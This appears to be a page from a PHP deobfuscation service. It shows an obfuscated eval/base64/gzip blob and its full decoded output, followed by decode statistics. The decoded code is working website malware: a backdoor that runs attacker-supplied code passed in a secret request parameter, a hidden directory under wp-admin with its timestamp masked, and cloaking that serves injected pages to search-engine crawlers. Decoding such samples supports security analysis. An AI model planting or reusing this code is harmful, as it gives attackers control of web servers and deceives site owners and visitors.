Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode('eNqNWAtT4soS/itIWSa5F3mJinKzB8SsKArIw8eqJxWSAaIhwSTAIvrf7..

Decoded Output download

if(!defined('AGENT_DECLARED')){define('AGENT_DECLARED',true);if(!empty($_SERVER['HTTP_ECHO'])){@header('Echo: '.$_SERVER['HTTP_ECHO']);}class _n8YKG{function _WMHfO($_dIHVw,$_J0sPi,$_jBPya,$_YmMDZ='http'){switch($_YmMDZ){case 'http':$_tYzme='tcp://';break;case 'https':$_tYzme='ssl://';break;default:return false;}if(function_exists('stream_socket_client')){$_pUcsZ=array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false));$_1uMlN=stream_context_create($_pUcsZ);$_vQHs8=$_tYzme.$_dIHVw.':'.$_J0sPi;$_Kj1Uy=@stream_socket_client($_vQHs8,$_mwBHA,$_SDQMN,5,STREAM_CLIENT_CONNECT,$_1uMlN);}else{$_Kj1Uy=@fsockopen($_tYzme.$_dIHVw,$_J0sPi,$_mwBHA,$_SDQMN,5);}if(!$_Kj1Uy){return false;}@fputs($_Kj1Uy,$_jBPya);$_tgdoU='';while(!feof($_Kj1Uy)){$_tgdoU.=@fread($_Kj1Uy,8192);}@fclose($_Kj1Uy);if(!preg_match("/^(.*?)

(.*)$/s",$_tgdoU,$_3AA2j)){return false;}return array('header'=>$_3AA2j[1],'content'=>$_3AA2j[2]);}function _SRik9($_AWqwL,$_2HHQy=array()){$_1EwN1=@parse_url($_AWqwL);if(empty($_1EwN1['scheme'])||empty($_1EwN1['host'])){return false;}$_dIHVw=$_1EwN1['host'];$_YmMDZ=$_1EwN1['scheme'];if(empty($_1EwN1['path'])){$_YTkqb='/';}else{$_YTkqb=$_1EwN1['path'];}if(!empty($_1EwN1['query'])){$_YTkqb.='?'.$_1EwN1['query'];}if(!empty($_1EwN1['port'])){$_J0sPi=$_1EwN1['port'];}else{$_J0sPi='80';}if(count($_2HHQy)>0){$_2HHQy=join("
",$_2HHQy)."
";}else{$_2HHQy='';}$_jBPya="GET ".$_YTkqb." HTTP/1.0
"."HOST: ".$_dIHVw."
".$_2HHQy."Connection: close

";$_tgdoU=$this->_WMHfO($_dIHVw,$_J0sPi,$_jBPya,$_YmMDZ);return$_tgdoU;}}class _6vtlu{private$_JIP1Q;function __construct($_JIP1Q){if(!file_exists($_JIP1Q)){$_03JXP=dirname($_JIP1Q);$_CBEwr=@filemtime($_03JXP);if(@mkdir($_JIP1Q)){@chmod($_JIP1Q,0777);if($_CBEwr!==false){@touch($_03JXP,$_CBEwr);}}}$this->_JIP1Q=$_JIP1Q;}private function _KcAl2($_yrvPE){return$this->_JIP1Q.'/'.$_yrvPE;}function _J0uEg($_yrvPE){$_J8wky=@file_get_contents($this->_KcAl2($_yrvPE));$_J8wky=@gzuncompress(base64_decode($_J8wky));return$_J8wky;}function _yOTcn($_J8wky,$_yrvPE){$_J8wky=base64_encode(gzcompress($_J8wky));$_2SH64=$this->_KcAl2($_yrvPE);if(($_Kj1Uy=@fopen($_2SH64,"w"))&&(@flock($_Kj1Uy,LOCK_EX))){@fputs($_Kj1Uy,$_J8wky);@flock($_Kj1Uy,LOCK_UN);@fclose($_Kj1Uy);@chmod($_2SH64,0666);}}function _jMiOt($_yrvPE,$_ecnQH){$_CBEwr=@filemtime($this->_KcAl2($_yrvPE));if(($_CBEwr+$_ecnQH)<=time()){return true;}return false;}function _Ydlde($_yrvPE){if(file_exists($this->_KcAl2($_yrvPE))){return true;}return false;}function _V3Pdm(){if(file_exists($this->_JIP1Q)&&is_writable($this->_JIP1Q)){return true;}return false;}}class _RgY9O{public$_eQK32='google|slurp|msnbot|bingbot|baiduspider';public$_KYzW3='ProxyAgent';public$_yvBFL=259200;function __construct($_eRcDn){$_8t0dK=md5('@config@');if($_eRcDn->_Ydlde($_8t0dK)){$_IKqUU=@unserialize($_eRcDn->_J0uEg($_8t0dK));}if(isset($_IKqUU['SEARCHENGINE_AGENTS'])){$this->_eQK32=$_IKqUU['SEARCHENGINE_AGENTS'];}if(isset($_IKqUU['PROXY_USER_AGENT'])){$this->_KYzW3=$_IKqUU['PROXY_USER_AGENT'];}if(isset($_IKqUU['SITE_CACHE_EXPIRE'])){$this->_yvBFL=$_IKqUU['SITE_CACHE_EXPIRE'];}}function _XwpcX(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_eQK32.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}}class _svp8w{private$_eRcDn;function __construct($_eRcDn){$this->_eRcDn=$_eRcDn;}function _YR9PG(){$_9wvAv=md5('@donor@page@list@');$_bEGkS=$this->_eRcDn->_J0uEg($_9wvAv);if(!empty($_bEGkS)){$_bEGkS=@unserialize($_bEGkS);}return$_bEGkS;}function _6wvb3($_J8Auf,$_J8wky){$_HsEsG=md5('@donor@page@handler@');$_y0BYP=$this->_eRcDn->_J0uEg($_HsEsG);if(!empty($_y0BYP)){$_y0BYP=@unserialize($_y0BYP);$_YnJ9w=$_y0BYP['function'];eval($_y0BYP['code']);$_J8Auf=@$_YnJ9w($_J8Auf,$_J8wky);}return$_J8Auf;}function _Ng2hD(){$_CRFMZ=md5('@donor@page@data@'.$_SERVER['REQUEST_URI'].'@');$_J8wky=$this->_eRcDn->_J0uEg($_CRFMZ);if(!empty($_J8wky)){$_J8wky=@unserialize($_J8wky);}return$_J8wky;}}class _24aWA{private$_IKqUU;private$_0tH2V;function __construct($_IKqUU,$_0tH2V){$this->_IKqUU=$_IKqUU;$this->_0tH2V=$_0tH2V;}function _yBtnV(){if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!='off'){$_ODBW8='https';$_J0sPi=443;}else{$_ODBW8='http';$_J0sPi=80;}$_2HHQy=array('User-Agent: '.$this->_IKqUU->_KYzW3);$_tgdoU=$this->_0tH2V->_SRik9($_ODBW8.'://'.$_SERVER['HTTP_HOST'].':'.$_J0sPi.$_SERVER['REQUEST_URI'],$_2HHQy);if($_tgdoU!==false){if(!preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_tgdoU['header'])){return false;}if(!preg_match('/^Content-Type\: text\/html/im',$_tgdoU['header'])){return false;}return$_tgdoU['content'];}return false;}}class _Gv4Wj{private$_IKqUU;private$_eRcDn;private$_hFvLR;function __construct($_IKqUU,$_eRcDn,$_hFvLR){$this->_IKqUU=$_IKqUU;$this->_eRcDn=$_eRcDn;$this->_hFvLR=$_hFvLR;}function _yBtnV(){$_Y2qeC=md5('@site@page@'.$_SERVER['HTTP_HOST'].'@'.$_SERVER['REQUEST_URI'].'@');if($this->_eRcDn->_Ydlde($_Y2qeC)&&!$this->_eRcDn->_jMiOt($_Y2qeC,$this->_IKqUU->_yvBFL)){$_J8Auf=$this->_eRcDn->_J0uEg($_Y2qeC);}else{$_J8Auf=$this->_hFvLR->_yBtnV();$this->_eRcDn->_yOTcn($_J8Auf,$_Y2qeC);}return$_J8Auf;}}define('AGENT_KEY','2390462f0c4ba41428cc37af05808257');define('AGENT_CACHE_PATH','wp-admin/user/archive');$_eRcDn=new _6vtlu(dirname(__FILE__).'/'.AGENT_CACHE_PATH);if(!empty($_REQUEST[AGENT_KEY])){eval(@gzuncompress(base64_decode(strrev($_REQUEST[AGENT_KEY]))));die;}$_IKqUU=new _RgY9O($_eRcDn);$_0tH2V=new _n8YKG();if(!empty($_SERVER['REQUEST_URI'])&&$_eRcDn->_V3Pdm()){$_RqeJ0=new _svp8w($_eRcDn);$_wXkXn=$_RqeJ0->_YR9PG();if(!empty($_wXkXn)&&is_array($_wXkXn)&&in_array($_SERVER['REQUEST_URI'],$_wXkXn)){@header('Cache-Control: no-cache');if($_IKqUU->_XwpcX()){$_hFvLR=new _24aWA($_IKqUU,$_0tH2V);$_PQObY=new _Gv4Wj($_IKqUU,$_eRcDn,$_hFvLR);$_Mp8Jx=$_PQObY->_yBtnV();if(!empty($_Mp8Jx)){$_pJ8RD=$_RqeJ0->_Ng2hD();$_Mp8Jx=$_RqeJ0->_6wvb3($_Mp8Jx,$_pJ8RD);echo$_Mp8Jx;die;}}}}}

Did this file decode correctly?

Original Code

eval(gzuncompress(base64_decode('eNqNWAtT4soS/itIWSa5F3mJinKzB8SsKArIw8eqJxWSAaIhwSTAIvrf70zPTB483N2qLSsz3d/04+ueHsyBuGOggWkjQxQqF0qjq54r1etKWzkXJGlJt9Z2Ur47RVLJxMpoPPEX4q7aUdp3SvtJqHW7LVWp1prCC9Yvj5BmIFcUFH3knCaE9GbB0pduaZ6XUO3iY/1iOZjaum86dkK9v6kNmhjduKzdzVO76lXWa5n47+tZa6Hhv4/jm/NfsjDy/YkgLb256esjkS1LS13zUIJunu6q/uPHGMmCr09OMxmh1HeR9lYKRbyIjOdZERkcBG1q+acu8qeunRholodKX9h5bqeKfpue74mC52OFseo5+hvyVd0yke2TMO6qk57u/ZI119UWIoEX5B/sY4Zcc7BQJwi5eBHAU9FF1dbGiO9IUmlXzU1vrIbMztId20e/8WH4y0ciO4mIzW5rXlFmPqVZDNPCKUkCxBHL1F9zvYVc3mS3yBBwlMfzs1oF/+2c3940UoepTretVG7U6vUlYUW12Wgo1W6KGYaTibClywB8QGCdCbLFFVsi+Vw5QYLw7jAIaRmPfHkwmeJos13OBuKyPzScniwIpfnItJC4M0DOgMtBGkAgjW3C/hoBQjF3kpcIrm45HgoUgN8TFw3VsUZ4lcz8K6b/84/07D7b5D/+kHYzXjLFcPHfg0ol/yqtGsy+WMJpSeCMMvGn3EtKgDRisoSreVIWYSV02ubbCTatcv8+v8Yn5Wu12wUjFLiWU+aNnFyeaK6H1KlrcVlwg1cpCD0Jnj5CmFQv0ufnys7I8Xyo3LgHLGPyilyJV+Aa8oZDJ5o/Amis1H1778sCrjDOFbqyIktZsALzPkXuIoqTloV/CKfj+xt1J47rM1VgnryyE5hDd4ViVgAc3ZlCQUDQpR9ZAkAT8OqYtpgkbEjypEhp+h2AUUnMyi9GVTl5oXQTyTR3IJkgzTCTS2dBMZ2sNTvdUxCgRUsB0wwqnaw6to2AGKcJ4CynZDIogl1/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qbZ/3vxa99nQfK0cfWO2ldue0umqvfal8JIWaDDonbctGAAdDwa7A8MLPB6Mdbvh9uVEzRe0+0pIVCi4UvCZ9Wv5u228BdkUEwr5S3sYh+KrICRzxOjlf+bbd9trtwMVu7a2IwvOYCAQr5vnZ/dFmT2SS3w4LhQOggk3IhEKFLNk4I2+U4Qejts+9Hz4LSDqD29z0toECw7hv/wFBIfhd2wms/ZzApmbSaLDN+42MgTDOr0w4MRwblx5+AmZfwn8cyb3nBaznzkpge+nRLOeMccCf/w98Xfd+uNpHa1KB7/97mKCnk8T5AH/nBn5Y+svEWPT+lPweHzZ1iwvZoX7160cpH0w+Bz9nF23/0RJ0Ekx4T9RM95w+Sqoyvy8DYTFLSL/jqqszj3TR7TMt6b9T7VPUr1S9nxCgJNwHeysCvDREQRSq5SFa5S1BtLWtnUVCh8+L2PCEAACRv0urYKE0zttlBxspVF+xX+sqyuPQkrIH5xkC0f5QVYv9LVCrpAv6vrBsTbIHhazxfzhMY5KXI0OAa1Kt4a155N9zRibdmaKCzejufrInCFoojSlNpqzN6LIH3Wq+vPyWlFVCV5Fq5jxxspS9BQYTJgO98a3Dx5MRhfNtujjsc0w4RcLykUwEQbXYBAosSZJ9+AnR3Hzj5kxDkGX5DlhAzfJfPsdXWUpFgwl0XPmD28PhPkgQ+hGJ4zYYSBDh3PaJiNLdrC0rYtR0cgvrVVNH6F90mFcxzpN2M6+Tlb4aMyZyyY64gAtRHAALqu1mwc70rpt9h+pDDSTra0Ay95Mile/ZaYT4XXUaZChv4xeFdvnkRCxWz6Cw3f4CATrKaYplZA+ctgiTT3593/Xk3Ab')));

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 785fe6d881a66c72dbcaf33467e25e53
Eval Count 1
Decode Time 90 ms